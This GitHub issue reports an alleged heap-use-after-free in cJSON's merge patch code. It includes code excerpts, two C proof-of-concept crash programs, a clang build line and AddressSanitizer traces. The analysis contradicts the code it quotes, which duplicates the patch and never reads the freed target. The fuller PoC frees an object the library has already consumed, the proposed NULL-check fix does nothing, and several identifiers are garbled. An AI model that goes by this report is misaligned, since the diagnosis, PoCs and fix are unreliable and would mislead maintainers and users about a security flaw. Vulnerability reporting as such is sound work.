Skip to content

Heap-Use-After-Free in cJSON merge_patch() via cJSONUtils_MergePatch()(Not found in existing CVE records or git history) #1060

Description

@1820893135-pixel

Description

A heap-use-after-free (UAF) exists in cJSON's RFC 7386 MergePatch implementation. When cJSONUtils_MergePatch() is called with a non-object patch (e.g., an array), the merge_patch() function in cJSON_Utils.c frees the arget object at line 1328, then calls cJSON_Duplicate(patch, 1) which internally calls cJSON_Duplicate_rec() at line 2808 of cJSON.c. The cJSON_Duplicate_rec() function dereferences item->type on the already-freed object: the freed heap memory gets reallocated for the duplicate tree, and the original freed memory region is then read, triggering a heap-use-after-free.

Previously reported vulnerabilities in cJSON (#1006, CVE-2024-31755, CVE-2023-50472, CVE-2023-50471) involve type confusion and buffer issues. This UAF in MergePatch is a distinct bug not found in existing CVE records or git history.

Vulnerability Details

Root Cause

File 1: cJSON_Utils.c, static function merge_patch(), lines 1321–1329.

static cJSON *merge_patch(cJSON *target, const cJSON * const patch, const cJSON_bool case_sensitive)
{
    cJSON *patch_child = NULL;

    if (!cJSON_IsObject(patch))
    {
        /* scalar value, array or NULL, just duplicate */
        cJSON_Delete(target);                        // <--- (A) FREES target
        return cJSON_Duplicate(patch, 1);            // <--- (B) returns new object
    }
    ...
}

File 2: cJSON.c, function cJSON_Duplicate() → cJSON_Duplicate_rec(), line 2808.

cJSON * cJSON_Duplicate_rec(const cJSON *item, size_t depth, cJSON_bool recuse)
{
    cJSON *newitem = cJSON_New_Item(&global_hooks);  // <--- may reuse freed memory
    ...
    newitem->type = item->type & (~cJSON_IsReference); // LINE 2808: item->type is READ
    ...
    /* Walk the ->next chain for the child. */
    child = item->child;                              // <--- freed memory read
    while (child != NULL) { ... child = child->next; }

The Bug: After cJSON_Delete(target) at (A), the freed memory may be reused by cJSON_New_Item() inside cJSON_Duplicate_rec() — or the original arget pointer (now dangling) is still passed through to other fields later in the call chain. Specifically, the vulnerable crash path in fuzz_target.c exercises:

cJSONUtils_GenerateMergePatch(json, target) → patch
cJSONUtils_MergePatch(json, patch)
  → merge_patch(json, patch, false)
    → cJSON_Delete(json)              // line 1328: frees json
    → cJSON_Duplicate(patch, 1)
      → cJSON_Duplicate_rec(...)
        → line 2808: item->type on item inside freed json  ← UAF READ

Call Chain (fuzzer-generated crash)

LLVMFuzzerTestOneInput (fuzz_target.c:31)
  → cJSON_ParseWithLength(data, size)
  → cJSON_Duplicate(json, 1)                         // fuzz_target.c:170
  → cJSONUtils_GenerateMergePatch(json, target)      // fuzz_target.c:172
  → cJSONUtils_MergePatch(json, patch)               // fuzz_target.c:176
    → merge_patch(json, patch, false)                // cJSON_Utils.c:1383
      → cJSON_Delete(json)                           // cJSON_Utils.c:1328 (FREES)
      → cJSON_Duplicate(patch, 1)                    // cJSON_Utils.c:1329
        → cJSON_Duplicate_rec(patch, 0, 1)           // cJSON.c:2785
          → newitem->type = item->type & ~...         // cJSON.c:2808 (UAF READ)

Fix

The merge_patch() function should not free arget and then return a new object without considering that arget may share memory with other cJSON objects in the caller's context. Potential fix approaches:

Option A — Null-check arget before freeing (minimum):

if (!cJSON_IsObject(patch))
{
    if (target != NULL) {
        cJSON_Delete(target);
    }
    return cJSON_Duplicate(patch, 1);
}

Option B — Duplicate before delete (safer):

if (!cJSON_IsObject(patch))
{
    cJSON *result = cJSON_Duplicate(patch, 1);
    cJSON_Delete(target);
    return result;
}

However, the more fundamental issue is that callers like cJSONUtils_GenerateMergePatch() may reference the same json object that merge_patch() frees. The caller code in cJSONUtils_MergePatch() (line 1381-1384) does:

CJSON_PUBLIC(cJSON *) cJSONUtils_MergePatch(cJSON *target, const cJSON * const patch)
{
    return merge_patch(target, patch, false);
}

When arget is the same pointer as the root JSON parsed from user input, freeing it in merge_patch() invalidates the caller's reference. The caller in fuzz_target.c at line 176 passes json (also used at line 172 as the from argument to cJSONUtils_GenerateMergePatch), creating the use-after-free condition.


PoC

Minimal Input (libFuzzer corpus)

Hex bytes: 31 0a (ASCII: "1\n")

Base64: MQo=

This is a valid JSON number 1 followed by a newline. libFuzzer discovered this input through mutation within 10 seconds.

poc.c (Direct API Call — Minimal)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void) {
    /* Create target: {"a": 1} */
    cJSON *target = cJSON_CreateObject();
    cJSON_AddNumberToObject(target, "a", 1);

    /* Create non-object patch (array containing nested object) */
    cJSON *patch = cJSON_CreateArray();
    cJSON *nested = cJSON_CreateObject();
    cJSON_AddNumberToObject(nested, "b", 2);
    cJSON_AddItemToArray(patch, nested);

    /* Trigger UAF: target freed then duplicate reads freed memory */
    cJSON *result = cJSONUtils_MergePatch(target, patch);
    if (result) cJSON_Delete(result);
    cJSON_Delete(patch);
    return 0;
}

Build & Run

clang -std=c99 -g -O0 -fsanitize=address -fno-omit-frame-pointer \
    -I. poc.c cJSON.c cJSON_Utils.c -ldl -lm -o poc && ./poc

Note: The direct-API PoC triggers a UAF at cJSON_Delete line 258 when the
ext pointer is read from the freed object during cleanup. The more comprehensive crash via cJSONUtils_GenerateMergePatch + cJSONUtils_MergePatch (as in fuzz_target.c) triggers at cJSON_Duplicate_rec line 2808 as shown in the ASAN output below.

Full Crash Path PoC (Mirrors fuzzer)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void) {
    const char *data = "1\n";
    cJSON *json = cJSON_ParseWithLength(data, 2);
    if (!json) return 1;

    cJSON *target = cJSON_Duplicate(json, 1);
    if (!target) { cJSON_Delete(json); return 1; }

    cJSON *patch = cJSONUtils_GenerateMergePatch(json, target);
    if (patch) {
        cJSON *merged = cJSONUtils_MergePatch(json, patch);
        if (merged) cJSON_Delete(merged);
        cJSON_Delete(patch);
    }
    cJSON_Delete(target);
    cJSON_Delete(json);  /* <--- UAF: json already freed by merge_patch() */
    return 0;
}

ASAN Output (Fuzzer, Docker Container)

==7==ERROR: AddressSanitizer: heap-use-after-free on address 0x[...] at pc 0x[...] bp 0x[...] sp 0x[...]
READ of size 4 at 0x[...] thread T0
    #0 0x[...] in cJSON_Duplicate_rec /work/cJSON.c:2808:27
    #1 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:192:19
    #2 0x[...] in fuzzer::Fuzzer::ExecuteCallback (...)
    #3 0x[...] in fuzzer::Fuzzer::RunOne (...)
    #4 0x[...] in fuzzer::Fuzzer::MutateAndTestOne ()
    #5 0x[...] in fuzzer::Fuzzer::Loop (...)
    #6 0x[...] in fuzzer::FuzzerDriver (...)
    #7 0x[...] in main (.../FuzzerMain.cpp:20:10)
    #8 0x[...] in __libc_start_main

0x[...] is located 24 bytes inside of 64-byte region [0x[...],0x[...])
freed by thread T0 here:
    #0 0x[...] in free (.../asan_malloc_linux.cpp:51:3)
    #1 0x[...] in cJSON_Delete /work/cJSON.c:273:9
    #2 0x[...] in merge_patch /work/cJSON_Utils.c:1328:9
    #3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:176:26

previously allocated by thread T0 here:
    #0 0x[...] in malloc (.../asan_malloc_linux.cpp:67:3)
    #1 0x[...] in cJSON_New_Item /work/cJSON.c:243:27
    #2 0x[...] in cJSON_ParseWithLengthOpts /work/cJSON.c:1166:12
    #3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:31:12

SUMMARY: AddressSanitizer: heap-use-after-free /work/cJSON.c:2808:27 in cJSON_Duplicate_rec
Shadow bytes around the buggy address:
  ...
=>0x[...]: fa fa fa fa fd fd fd[fd]fd fd fd fd fa fa fa fa
  ...
  Shadow byte legend: ...
    Freed heap region:       fd

ASAN Output (Standalone PoC, Host)

==404219==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000000080 at pc 0x5aa71421bcc4 bp 0x7fff1d1e9000 sp 0x7fff1d1e8ff8
READ of size 8 at 0x506000000080 thread T0
    #0 0x5aa71421bcc3 in cJSON_Delete /root/.../cJSON.c:258:22
    #1 0x5aa71421b82e in main /root/.../poc_cjson_fullpath.c:23:5

0x506000000080 is located 0 bytes inside of 64-byte region
freed by thread T0 here:
    #1 0x5aa71421bf9e in cJSON_Delete /root/.../cJSON.c:273:9
    #2 0x5aa71422de28 in merge_patch /root/.../cJSON_Utils.c:1328:9
    #3 0x5aa71422ddde in cJSONUtils_MergePatch /root/.../cJSON_Utils.c:1383:12
    #4 0x5aa71421b7fb in main /root/.../poc_cjson_fullpath.c:18:25

SUMMARY: AddressSanitizer: heap-use-after-free /root/.../cJSON.c:258:22 in cJSON_Delete

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions